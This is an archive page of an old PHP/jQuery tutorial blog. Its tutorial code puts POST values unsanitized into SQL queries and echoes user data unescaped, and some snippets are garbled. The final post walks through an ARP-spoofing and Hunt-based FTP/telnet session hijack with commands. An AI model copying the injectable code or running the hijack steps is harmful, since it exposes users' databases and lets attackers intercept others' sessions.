9lessons Programming Blog - Tutorials about Angular, ReactJS, PHP, MySQL and Web Development
Thursday, January 22, 2009

Month Traffic Details


Finally I am very happy with my 9lessons blog traffic. Starting It was getting only hundred visits per day, but now just see the below scree shots. Thanks to everybody it's been encouraging.


Traffic was mostly referring sites for this month. Thanks to great community sites like Dzone.com, Del.ico.us and Script&Style.


Tuesday, January 20, 2009

Twitter Like Parsing URLs with JavaScript.

This tutorial explains about how to Parsing URLs within the posted text like Twitter with Javascript. My last post I had included this Script. I was developing project I found this nice javascript prototype property script in mozilla labs site.

If you want to suggest any other alternate scripts, feel free post a comment.


Download Source Code     Live Demo

JavaScript
Method String.prototype property invoked parseURL. When called on a String the regular expression finds any case of a URL and will enclose the URL with a HTML anchor tag.
<head> 
String.prototype.parseURL = function()
{
return this.replace(/[A-Za-z]+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&\?\/.=]+/, function(url) {
return url.link(url);
});
};
</head> 

index.php
Here we applying the parseURL() method to text variable called posted update contains a URL. But in database the update does not contain any anchor HTML tag.

<body> 

<form action="" method="post">
<span class="what">What are you doing?</span>
<textarea  =""  cols="55" id="update" maxlength="145" name="update" rows="3"></textarea>
<input type="submit" value=" Update "  class="update_button" />
</form>


<?php

include("dbconfig.php");
$sql="select * from updates order by ms_id desc";
$result = mysql_query($sql);
while($row=mysql_fetch_array($result))
{
$message=stripslashes($row["message"]);
?>
<tr>
<td>
//---------------------------------------------------------------

<script type="text/javascript">
var test = "<?php echo $message; ?>";// Variable text = Updates from the database
document.write(test.parseURL());
</script>


//---------------------------------------------------------------
</td>
<td>
<a href="#" id="<?php echo $row["ms_id"]; ?>" class="delbutton"><img src="trash.png" alt="delete"/></a> </td></tr>
<?php
}
?>

</body>

Download Source Code     Live Demo

If you want to suggest any other alternate scripts, feel free post a comment.

Related Posts :
Delete a Record with animation fade-out effect using jQuery and Ajax.
Sunday, January 18, 2009

Delete a Record with animation fade-out effect using jQuery and Ajax.

Are you like Twitter and Yammer API? This post about how to delete a record with animation fade-out effect using Ajax and jQuery. I like Twitter API very much, it's clean and faster. So i prepared this jQuery tutorial delete action with out refreshing page.

Part II: Delete Records with Random Animation Effect using jQuery and Ajax.

This is a simple tutorial just change some lines of database code! I was developing some what Twitter like API. Today I published small part that explains how to Delete a Record with animation fade-out effect using jQuery and Ajax.

The tutorial contains a folder called posting with three PHP files and one sub folder js includes jQuery plugin.

- index.php
- dbconfig.php(Database configuration )
- delete.php
js-jquery.js
Download Source Code     Live Demo

Database Table Code
CREATE TABLE updates(
ms_id INT PRIMARY KEY AUTO_INCREMENT,
message TEXT);



Step 1. index.php(user interface page)
Here Displaying records form database using while loop. Delete button included in <a> anchor tag attribute id=<?php echo $row['ms_id']; ?>. This we are passing to delete.php page.

<body> 

<form action="" method="post">
<span class="what">What are you doing?</span>
<textarea  =""  cols="55" id="update" maxlength="145" name="update" rows="3"></textarea>
<input type="submit" value=" Update "  class="update_button" />
</form>

<?php
include("dbconfig.php");
$sql="select * from updates order by ms_id desc";
$result = mysql_query($sql);
while($row=mysql_fetch_array($result))
{
$message=stripslashes($row["message"]);
?>
<tr><td><?php echo $message; ?></td><td><a href="#" id="<?php echo $row["ms_id"]; ?>" class="delbutton"><img src="trash.png" alt="delete"/></a> </td></tr>
<?php
}
?>

</body>

Step 2. delete.php
Simple php script delete data from Updates table.
<?php
include("dbconfig.php");
if($_POST['id'])
{
$id=$_POST['id'];

$sql = "delete from {$prefix}updates where ms_id='$id'";
mysql_query( $sql);
}
?>

Step 3 Ajax and jQuery Code
Included jQuery plugin in head tag and ajax code included in this jquery function $(".delbutton").click(function(){}- delbutton is the class name of anchor tag. Using element.attr("id") calling delete button value.

<head>

<script type="text/javascript" src="js/jquery.js"></script>

<script type="text/javascript" 
$(function() {

$(".delbutton").click(function(){
var del_id = element.attr("id");
var info = 'id=' + del_id;
if(confirm("Sure you want to delete this update? There is NO undo!"))
{
$.ajax({
type: "POST",
url: "delete.php",
data: info,
success: function(){
}
});
$(this).parents(".record").animate({ backgroundColor: "#fbc7c7" }, "fast")
.animate({ opacity: "hide" }, "slow");
}
return false;
});
});
</script>


</head>


Step 4.dbconfig.php
You have to change the database configuration like database name, username and password.

Download Source Code     Live Demo



Related Links

Twitter Like Parsing URLs with JavaScript.
jQuery Username Live Validation check.
Insert and Load Record using jQuery and Ajax
Tuesday, January 13, 2009

Add Security to your PHP projects using .htaccess file

Some days back I published an article about SQL Injection. In this article very small discussion about .htaccess file. After lots of requests I publish this article to add more security to your php application using .htaccess file.

In this tutorial I want to explain about hiding .php extensions and URL rewriting. So improve your Web projects security and quality.


Making .htaccess file

Very simple open any editor like notepad just file save as into .htaccess with in double quotations(".htacess"). You have to upload this file in to hosting root folder, my experience .htaccess file supports only Unix based servers.

Download Sample .htaccess File

Hide .php extension with URL Rewriting

For example if we want to project like Twitter API URLs (Note: Twitter API Developed in Ruby on Rails)


Add this following code in your .htaccess file
RewriteEngine on

RewriteRule ^(.*)\$ $1.php

We can Rewrite index.php into index.html,index.asp,index.sri also


Below code for index.php to index.html
RewriteEngine on

RewriteRule ^(.*)\.html$ $1.php
If you want .asp extension just replace html to asp


Redirecting www URL to non www URL

If you type www.twitter.com in browser it will be redirected to twitter.com.


Add this Following Code:
RewriteEngine On

RewriteCond %{HTTP_HOST} ^www.srinivas.com

RewriteRule (.*) http://srinivas.com/$1 [R=301,L]


Rewriting 'site.com/profile.php?username=foxscan' to 'site.com/foxscan'

My twitter profile http://twitter.com/foxscan its original link passing GET values (http://twitter.com/profile.php?username=foxscan) but this URL is ugly in browser address bar, For user friendly we can change like this.



If you want change like this see the below code
RewriteEngine On

RewriteRule ^([a-zA-Z0-9_-]+)$ profile.php?username=$1

RewriteRule ^([a-zA-Z0-9_-]+)/$ profile.php?username=$1

Download Sample .htaccess File

If any suggestions post a Comment.

Thursday, January 08, 2009

Visual Database Design with MySQL Workbench

Few days back I received one request about Mysql WorkBench Usage. So in this post I want to explain with screen shots to create a visual database design, follow these steps.

I prepared this tutorial to improve your Database design Skills in Visual style.

Download Mysql Workbench

For example if we want to project like Twitter web site updating user profile, our database will have these entities:

1 - Users( User_name, password, email, some registration data....)

2 - Updates( Updates/Messages added by the Users)

Step 1 -> Add EER Diagram


Step 2 -> Place a New Table


Ok now... edit the table just right click.


You have to add Column and fix the Data types.


Set the table Primary Key in Column details


Same way you have to create Update table also.

Step 3->Link the both table with Relationship tools


Link the Updates table to Users table automatically generate Foreign key column.


Finally export project SQL script.


We can export ERR Diagram image *.png formate also.

If you feel free post a Comment..

Saturday, January 03, 2009

My Best Applications in Year 2008

The year 2008 I was addicted some interesting Applications. Take a look at this fantastic applications list.




1.Zenbe Email

Zenbe is a powerful free email it's really enlighten nice Ajax applications. configure all the email pop3 setting easy way and extra applications Facebook, twitter, and G talk. Click Here


2.Blogger

eBlogger is an excellent platform for bloggers without any investment. Just customize the XML template code.Click Here


3.Twitter

Twitter is a micro blogging service for friends, family, and co–workers to communicate and stay connected through the exchange of quick, frequent answers to one simple question: What are you doing?My Profile Here


4.ReadwriteWeb: Technology News blog.

Readwriteweb is a Technology news blog, Richard MacManus is the Founder and Editor. My daily Web technology news paper.Read Here


5.Delicious:Music Player

Delicious is an social bookmarking site, save a new bookmark in delicious Server .My Bookmarks Here


6.SongBird:Music Player

SongBird is is an open-source Mozilla product customizable music player that's under active development.Download Here



Indian Stock Market Story

Friday, January 02, 2009

9lessons articles in DreamInCode.net


One week back I received this email from Chris Kenworthy(DreaminCode.net's owner) which said:





Srinivas,

I'm the owner of http://www.DreamInCode.net, a leading online community for programmers and web developers. We currently have 130,000+ members and over 1 million visitors each month. In the near future, we will be launching an "articles" section for our visitors. I've read your blog and think our visitors would be interested in some of the topics. Our audience is primarily Computer Science students who are craving information on the "right way" to program. I'm curious if you would be interested in writing or contributing articles similar to your blog entries? Your articles would be seen by thousands of programmers and web developers and you would be welcome to include a link back to your own blog as well as your name and an author bio. We are not looking for any sort of commitment, just the occasional interesting article that you would like to share with the programming community.

Please let me know if you are interested. I'd be happy to discuss an arrangement that is mutually beneficial.


Best Regards,

Chris Kenworthy


Thanks Chris for your encouragement.

Wednesday, December 31, 2008

jQuery Username Availability check.

This post about Twitter used jQuery plug-in JavaScript code in registration page  username Availability check and update Screen name.

This is very useful stuff, this is the best way to implement it and the only thing you have to modify just some database connection parameters.


jQuery Plug-in :Download

Step1: Modifiy dbconnection.php

Change MySQL connection parameters in dbconnection.php
<?php

$mysql_hostname = "Host name";
$mysql_user = "UserName";
$mysql_password = "Password";
$mysql_database = "Database Name";
$prefix = "";
$bd = mysql_connect($mysql_hostname, $mysql_user, $mysql_password) or die("Could not connect database");
mysql_select_db($mysql_database, $bd) or die("Could not select database");
?>

Step2: cofigure check.php

Change table name and column name in SQL query.

<?php
// This is a code to check the username from a mysql database table

if(isSet($_POST['username']))
{
$username = $_POST['username'];

include("dbconnection.php");

$sql_check = mysql_query("SELECT user FROM {$prefix}users WHERE user='$username'");

if(mysql_num_rows($sql_check))
{
echo '<span style="color: red;">The username <b>'.$username.'</b> is already in use.</span>';
}
else
{
echo 'OK';
}}
?>

Step 3. Add JQuery framework on your page

jQuery Plug-in :Download
First, you have to download the jQuery plugin and add a link to the framework within the tag <head> of the page:

Step 4. Registration.php Code

HTML code for this example is very simple:

<script src="js/jquery.js" type="text/javascript">/script>
<script type="text/javascript">
pic1 = new Image(16, 16);
pic1.src = "loader.gif";

$(document).ready(function(){

$("#username").change(function() {

var usr = $("#username").val();

if(usr.length >= 3)
{
$("#status").html('<img align="absmiddle" src="loader.gif" /> Checking availability...');

$.ajax({
type: "POST",
url: "check.php",
data: "username="+ usr,
success: function(msg){

$("#status").ajaxComplete(function(event, request, settings){

if(msg == 'OK')
{
$("#username").removeClass('object_error'); // if necessary
$("#username").addClass("object_ok");
$(this).html(' <img align="absmiddle" src="accepted.png" /> ');
}
else
{
$("#username").removeClass('object_ok'); // if necessary
$("#username").addClass("object_error");
$(this).html(msg);
}});}});}
else
{
$("#status").html('The username should have at least 3 characters.');
$("#username").removeClass('object_ok'); // if necessary
$("#username").addClass("object_error");
}});});

//-->

</script>


<div>
<label>User name:</label>
<input type="text" id="username" name="username" class="inn"/>
</div>
<div id="status"></div>



Download source code

Update Screen Name



settings.js : enables jQuery functionalities 
javascript code enables the jQuery functionalities.
var twitter=function()
{
var rtn={updateUrl:function(value){$("#username_url").html(value)},
screenNameKeyUp:function(){
jQuery("#user_screen_name").keyup(function(event){var screen_name=jQuery("#user_screen_name");

}

)
},return rtn}();

Copy jquery.js and settings.js in js folder

Registration.php Final code

<html>
<head>
<script src="js/jquery.js" type="text/javascript">/script>
<script src="js/settings.js" type="text/javascript"></script>

<script type="text/javascript">
pic1 = new Image(16, 16);
pic1.src = "loader.gif";

$(document).ready(function(){

$("#username").change(function() {

var usr = $("#username").val();

if(usr.length >= 3)
{
$("#status").html('<img align="absmiddle" src="loader.gif" /> Checking availability...');

$.ajax({
type: "POST",
url: "check.php",
data: "username="+ usr,
success: function(msg){

$("#status").ajaxComplete(function(event, request, settings){

if(msg == 'OK')
{
$("#username").removeClass('object_error'); // if necessary
$("#username").addClass("object_ok");
$(this).html(' <img align="absmiddle" src="accepted.png" /> ');
}
else
{
$("#username").removeClass('object_ok'); // if necessary
$("#username").addClass("object_error");
$(this).html(msg);
}});}});}
else
{
$("#status").html('The username should have at least 3 characters.');
$("#username").removeClass('object_ok'); // if necessary
$("#username").addClass("object_error");
}});});

//-->

</script>
</head>
<body>
<div>

<label>User name:</label>
<input type="text" id="username" name="username" onkeyup="Twitter.updateUrl(this.value)" class="inn"/>

http://xyz.com/<span id="username_url" class="url">USERNAME</span>

</div>
<div id="status"></div>
<script type="text/javascript">
$( function () {
twitter.screenNameKeyUp();
$('#user_screen_name').focus();
});

</script>
</body>
</html>


Download source code
Visual Database Desing with MySQL Workbench
Saturday, December 20, 2008

Transmission Control Protocol (TCP) Hijack

This guide is meant for ethical hacking or audit with authorization purposes only. The author is not responsible for any consequences otherwise. The material is copyrighted.

Requirements: Linux OS, Connect to the same LAN or wireless network as the victim,

Once a malicious user gains access to the FTP session traffic he can now begin to monitor the session and wait for an opportunity to hijack the session. A hijack occurs when the attacker is able to intercept the communication between the client and server after the session has been authenticated. The simplest method to hijack the session would be to send a reset to the user forcing the client application to close the FTP session but he also have to prevent the client from resetting the port on the server end. If he does not prevent this packet from reaching the server then the connection will be terminated and he will have to wait for another opportunity to hijack a session. Once he has successfully closed the client, he now has the opportunity to send queries to the server requesting files or upload his own malicious files to the server. Since he was monitoring the entire session between the server and client he has the right sequence number and acknowledgment number so that the server thinks its still communicating with the original client.

If the attacker chooses to keep both the client and server running then he will have to keep track of the sequence number and acknowledgment number being sent between the client and server. Any command that the attacker sends to the server will change the sequence number and acknowledgment numbers and will cause the client and server to be out of synchronization and they will not be able to communicate thus causing the connection to close. This method is more difficult because the attacker now has to continually change the client and server sequence/acknowledgment numbers to reflect the commands that he injected towards the server and the data he received from the server.

You have to be on the same wireless or LAN network to accomplish this.

The process of FTP Hijack:

ARP Spoof

Arp spoof the victim to the gateway (Victim: 192.168.2.2; Gateway: 192.168.2.1) using arpspoof from the attacking machine (192.168.2.160) to redirect all traffic through the attacker.
CODE :
# echo 1 >; /proc/sys/net/ipv4/ip_forward
# arpspoof -t 192.168.2.1 192.168.2.2
# arpspoof -t 192.168.2.2 192.168.2.1

HUNT

Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. Hunt doesn't distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. Features: connection management (watching, spoofing, detecting, hijacking, resetting), daemons (resetting, arp spoof/relayer daemon, MAC discovery daemon for collecting MAC addresses, sniff daemon for logging TCP traffic), host resolving, packet engine (TCP, UDP, ICMP and ARP traffic; collecting TCP connections with sequence numbers and the ACK storm detection), switched environment (hosts on switched ports can be spoofed, sniffed and hijacked too). This latest release includes lots of debugging and fixes in order to get the hunt running against hosts on switched ports, timejobs, dropping IP fragments, verbose status bar, options, new connection indicator, various fixes.

By default, Hunt only monitors telnet (port 23) and rlogin (port 513) sessions, but the code is written in such a way that it would be very easy to add other types. In the file hunt.c, in the initialization code for the entry function, is this line:

CODE :
add_telnet_rlogin_policy();

This function is located in the addpolicy.c file and here's the function in question:

CODE :
api->;dst_ports[2] = htons(21); was added to incorporate FTP sessions.

void add_telnet_rlogin_policy(void)
{
struct add_policy_info *api;

api = malloc(sizeof(struct add_policy_info));
assert(api);
memset(api, 0, sizeof(sizeof(struct add_policy_info)));
api->;src_addr = 0;
api->;src_mask = 0;
api->;dst_addr = 0;
api->;dst_mask = 0;
api->;src_ports[0] = 0;
api->;dst_ports[0] = htons(23);
api->;dst_ports[1] = htons(513);
api->;dst_ports[2] = htons(21); //This port was added for FTP
api->;dst_ports[3] = 0;
list_push(&;l_add_policy, api);
};

The source files were compiled and hunt.c executed.

CODE :
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 64/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
--

HUNT Preparations

Customize Options and Start Daemons

o is typed to customize options. The MAC base is changed to attacker's NIC 00:ab:cd:ef:gh:mn. Host resolving, arp spoof with MAC base and learn IP from MAC discovery are all enabled.

From the main menu, d daemons -- a arp spoof daemon is started. Hunt can also arp spoof the hosts and targets if specified.

FTP Hijack

From the main menu, l gives a list of connections.

0) 192.168.2.2 [32777] -- 95.623.58.102 [21]

w - Watches the above connection.
a - Performs a simple hijack.

Once you hijack, you have access to the files being sent. You can manipulate them using a tool like frag route to craft evil packets. If the connection is telnet on port 23, you will have the shell on both the machines.

Impact

? Access to Data
? Access to the command shell
? DOS Attack

Most Popular Articles:-Most Popular Articles Links
mailxengine Youtueb channel
Make in India
X